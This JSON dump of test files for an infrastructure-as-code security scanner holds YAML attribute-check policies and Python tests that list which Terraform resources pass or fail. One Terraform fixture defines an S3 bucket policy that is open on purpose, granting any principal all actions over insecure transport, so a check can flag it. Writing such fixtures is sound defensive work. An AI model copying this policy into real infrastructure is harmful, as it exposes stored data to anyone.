check_id=check_id)\n\n    def test_string_length_greater_than(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"StringLengthGreaterThan\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.sg1']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_dict_length_greater_than(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"DictLengthGreaterThan\"\n        should_pass = ['aws_security_group.sg4']\n        should_fail = ['aws_security_group.sg3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_or_equal_solver/ArrayLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"ArrayLengthLessThanOrEqual\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: egress.cidr_blocks\n  operator: length_less_than_or_equal\n  value: 1\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_or_equal_solver/DictLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"DictLengthLessThanOrEqual\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress\n  operator: length_less_than_or_equal\n  value: \"2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_or_equal_solver/StringLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"StringLengthLessThanOrEqual\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: description\n  operator: length_less_than_or_equal\n  value: \"15\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_or_equal_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_or_equal_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestLengthLessThanOrEqual(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestLengthLessThanOrEqual, self).setUp()\n\n    def test_array_length_less_than_or_equal(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"ArrayLengthLessThanOrEqual\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.sg1']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_string_length_less_than_or_equal(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"StringLengthLessThanOrEqual\"\n        should_pass = ['aws_security_group.sg1']\n        should_fail = ['aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_dict_length_less_than_or_equal(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"DictLengthLessThanOrEqual\"\n        should_pass = ['aws_security_group.sg3']\n        should_fail = ['aws_security_group.sg4']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_solver/ArrayLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"ArrayLengthLessThan\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: egress.cidr_blocks\n  operator: length_less_than\n  value: 2\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_solver/DictLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"DictLengthLessThan\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress\n  operator: length_less_than\n  value: \"2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_solver/StringLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"StringLengthLessThan\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: description\n  operator: length_less_than\n  value: \"16\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestLengthLessThan(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestLengthLessThan, self).setUp()\n\n    def test_array_length_less_than(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"ArrayLengthLessThan\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.sg1']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_string_length_less_than(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"StringLengthLessThan\"\n        should_pass = ['aws_security_group.sg1']\n        should_fail = ['aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_dict_length_less_than(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"DictLengthLessThan\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.sg3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_not_equals_solver/ArrayLengthNotEquals.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"ArrayLengthNotEquals\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: egress.cidr_blocks\n  operator: length_not_equals\n  value: 2\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_not_equals_solver/DictLengthNotEquals.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"DictLengthNotEquals\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress\n  operator: length_not_equals\n  value: \"2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_not_equals_solver/StringLengthNotEquals.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"StringLengthNotEquals\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: description\n  operator: length_not_equals\n  value: \"16\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_not_equals_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_not_equals_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestLengthNotEquals(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestLengthNotEquals, self).setUp()\n\n    def test_array_length_not_equals(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"ArrayLengthNotEquals\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.sg1']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_string_length_not_equals(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"StringLengthNotEquals\"\n        should_pass = ['aws_security_group.sg1']\n        should_fail = ['aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_dict_length_not_equals(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"DictLengthNotEquals\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.sg3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_contains_solver/PublicSG.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicSG\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"not_contains\"\n  value: \"0.0.0.0/0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_contains_solver/PublicVMs.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicVMs\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_default_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"not_contains\"\n  value: \"0.0.0.0/0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_contains_solver/SpecificBlockSG.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"SpecificBlockSG\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"not_contains\"\n  value: \"10.2.2.0/24\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_contains_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_contains_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNotContainsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNotContainsSolver, self).setUp()\n\n    def test_public_virtual_machines(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"PublicVMs\"\n        should_pass = ['aws_default_security_group.default_security_group_closed']\n        should_fail = ['aws_default_security_group.default_security_group_open']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_list_cidr_blocks(self):\n        root_folder = '../../../resources/security_group_list_cidr_blocks'\n        check_id = \"PublicSG\"\n        should_pass = ['aws_security_group.passed_cidr_block', 'aws_security_group.failed_cidr_blocks']\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_list_cidr_blocks_specific(self):\n        root_folder = '../../../resources/security_group_list_cidr_blocks'\n        check_id = \"SpecificBlockSG\"\n        should_pass = ['aws_security_group.failed_cidr_blocks']\n        should_fail = ['aws_security_group.passed_cidr_block']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_ending_with_solver/AmiEndingWith.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"AmiEndingWith\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_instance\"\n  attribute: \"ami\"\n  operator: \"not_ending_with\"\n  value: \"-0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_ending_with_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_ending_with_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNotEndingWithSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNotEndingWithSolver, self).setUp()\n\n    def test_ami_ending_with(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"AmiEndingWith\"\n        should_pass = ['aws_instance.with_closed_def_security_groups', 'aws_instance.with_open_security_groups', 'aws_instance.with_subnet_public', 'aws_instance.with_subnet_not_public',]\n        should_fail = ['aws_instance.with_open_def_security_groups']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_equals_ignore_case_solver/BooleanString.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"BooleanString\"\nscope:\n  provider: \"Azure\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"azurerm_storage_account\"\n  attribute: \"allow_blob_public_access\"\n  operator: \"not_equals_ignore_case\"\n  value: \"FALSE\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_equals_ignore_case_solver/EncryptedResources.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"EncryptedResources\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_rds_cluster\"\n    - \"aws_neptune_cluster\"\n    - \"aws_s3_bucket\"\n  attribute: \"encryption_\"\n  operator: \"not_equals_ignore_case\"\n  value: \"unencrypted\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_equals_ignore_case_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_equals_ignore_case_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNotEqualsIgnoreCaseSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNotEqualsIgnoreCaseSolver, self).setUp()\n\n    def test_not_equals_ignore_case_solver_wildcard(self):\n        root_folder = '../../../resources/encryption_test'\n        check_id = \"EncryptedResources\"\n        should_pass = ['aws_rds_cluster.rds_cluster_encrypted', 'aws_s3_bucket.encrypted_bucket',\n                       'aws_neptune_cluster.encrypted_neptune']\n        should_fail = ['aws_rds_cluster.rds_cluster_unencrypted', 'aws_s3_bucket.unencrypted_bucket',\n                       'aws_neptune_cluster.unencrypted_neptune']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestNotEqualsIgnoreCaseSolver, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                                            check_id=check_id)\n\n    def test_not_equals_ignore_case_solver_boolean(self):\n        root_folder = '../../../resources/boolean_test'\n        check_id = \"BooleanString\"\n        should_pass = ['azurerm_storage_account.fail1', 'azurerm_storage_account.fail2',\n                       'azurerm_storage_account.fail3']\n        should_fail = ['azurerm_storage_account.pass1', 'azurerm_storage_account.pass2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestNotEqualsIgnoreCaseSolver, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                                            check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_equals_solver/PublicDBSG.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicDBSG\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_db_security_group\"\n  attribute: \"ingress.cidr\"\n  operator: \"not_equals\"\n  value: \"10.0.0.0/24\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_equals_solver/SGPorts.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"SGPorts\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_security_group\"\n  attribute: \"ingress.*.to_port\"\n  operator: \"not_equals\"\n  value: 8182\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_equals_solver/UnrenderedVar.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"UnrenderedVar\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"bucket\"\n  operator: \"not_equals\"\n  value: \"abcdefg\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_equals_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_equals_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNotEqualsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNotEqualsSolver, self).setUp()\n\n    def test_not_equals_solver_simple(self):\n        root_folder = '../../../resources/public_security_groups'\n        check_id = \"PublicDBSG\"\n        should_fail = ['aws_db_security_group.aws_db_security_group_private']\n        should_pass = ['aws_db_security_group.aws_db_security_group_public']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_not_equals_solver_wildcard(self):\n        root_folder = '../../../resources/security_group_multiple_rules'\n        check_id = \"SGPorts\"\n        should_pass = ['aws_security_group.sg1', 'aws_security_group.sg2']\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_not_equals_solver_unrendered(self):\n        root_folder = '../../../resources/variable_rendering/unrendered'\n        check_id = \"UnrenderedVar\"\n        should_pass = []\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_exists_solver/SecureTransportExist.yaml",
    "content": "---\nmetadata:\n name: \"SecureTransport Testing\"\n category: \"general\"\n id: \"SecureTransport\"\n guidelines: \"testing\"\n severity: \"high\"\nscope:\n provider: \"aws\"\ndefinition:\n cond_type: \"attribute\"\n resource_types:\n - \"aws_s3_bucket_policy\"\n attribute: \"policy.Statement.*.Condition.Bool.aws:SecureTransport\"\n operator: \"not_exists\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_exists_solver/TagEnvironmentExists.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"TagEnvironmentExists\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"tags.Environment\"\n  operator: \"not_exists\"\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_exists_solver/VersioningEnabledExists.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"VersioningEnabledExists\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"versioning.enabled\"\n  operator: \"not_exists\"\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_exists_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_exists_solver/resources/main.tf",
    "content": "provider \"aws\" {\n  region = \"us-east-1\"\n}\nresource \"aws_s3_bucket\" \"test\" {\n  bucket = \"comp-s3-all-rql-nov10-22\"\n  tags   = { test = \"demo\" }\n}\nresource \"aws_s3_bucket_policy\" \"allow_access\" {\n  bucket = aws_s3_bucket.test.id\n  policy = <<POLICY\n          {\n      \"Version\": \"2012-10-17\",\n      \"Statement\": [{\n            \"Sid\": \"statement-1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": \"*\",\n            \"Action\": \"s3:*\",\n            \"Resource\": \"${aws_s3_bucket.test.arn}\",\n            \"Condition\":{\"Bool\":{\"aws:SecureTransport\": \"false\"}}\n            },\n            {\n            \"Sid\": \"statement-2\",\n            \"Effect\": \"Allow\",\n            \"Principal\": \"*\",\n            \"Action\": \"*\",\n            \"Resource\": \"${aws_s3_bucket.test.arn}\",\n            \"Condition\":{\"Bool\":{\"aws:SecureTransport\": \"false\"}}\n            }\n            ]}\nPOLICY\n}"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_exists_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNotExistsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNotExistsSolver, self).setUp()\n\n    def test_nested_attribute_doesnt_exists_versioning(self):\n        root_folder = '../../../resources/s3_bucket'\n        check_id = \"VersioningEnabledExists\"\n        should_pass = []\n        should_fail = ['aws_s3_bucket.destination']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_nested_attribute_doesnt_exists_tag(self):\n        root_folder = '../../../resources/s3_bucket'\n        check_id = \"TagEnvironmentExists\"\n        should_pass = ['aws_s3_bucket.destination']\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_nested_attribute_doesnt_exists_policy(self):\n        root_folder = 'resources'\n        check_id = \"SecureTransport\"\n        should_pass = []\n        should_fail = ['aws_s3_bucket_policy.allow_access']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_intersects_solver/ArrayNotIntersect.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"ArrayNotIntersect\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_xyz\"\n  attribute: \"arr\"\n  operator: \"not_intersects\"\n  value:\n    - \"notallowed\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_intersects_solver/PublicVMs.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicVMs\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_default_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"not_intersects\"\n  value:\n    - \"0.0.0.0/0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_intersects_solver/TagsNotIntersect.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"TagsNotIntersect\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"all\"\n  attribute: \"tags\"\n  operator: \"intersects\"\n  value:\n    - \"acme\"\n    - \"bar\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_intersects_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_intersects_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNotIntersectsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNotIntersectsSolver, self).setUp()\n\n    def test_simple_array_no_intersection1(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"PublicVMs\"\n        should_pass = ['aws_default_security_group.default_security_group_closed']\n        should_fail = ['aws_default_security_group.default_security_group_open']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_simple_array_no_intersection2(self):\n        root_folder = '../../../resources/array_test'\n        check_id = \"ArrayNotIntersect\"\n        should_pass = ['aws_xyz.pass1', 'aws_xyz.pass2']\n        should_fail = ['aws_xyz.fail2', 'aws_xyz.fail3', 'aws_xyz.pass3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_regex_match_solver/TagPrefix.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"TagPrefix\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_instance\"\n    - \"aws_subnet\"\n  attribute: \"tags.Name\"\n  operator: \"not_regex_match\"\n  value: \"acme\\\\-.+\"\n\n"
  },
  {
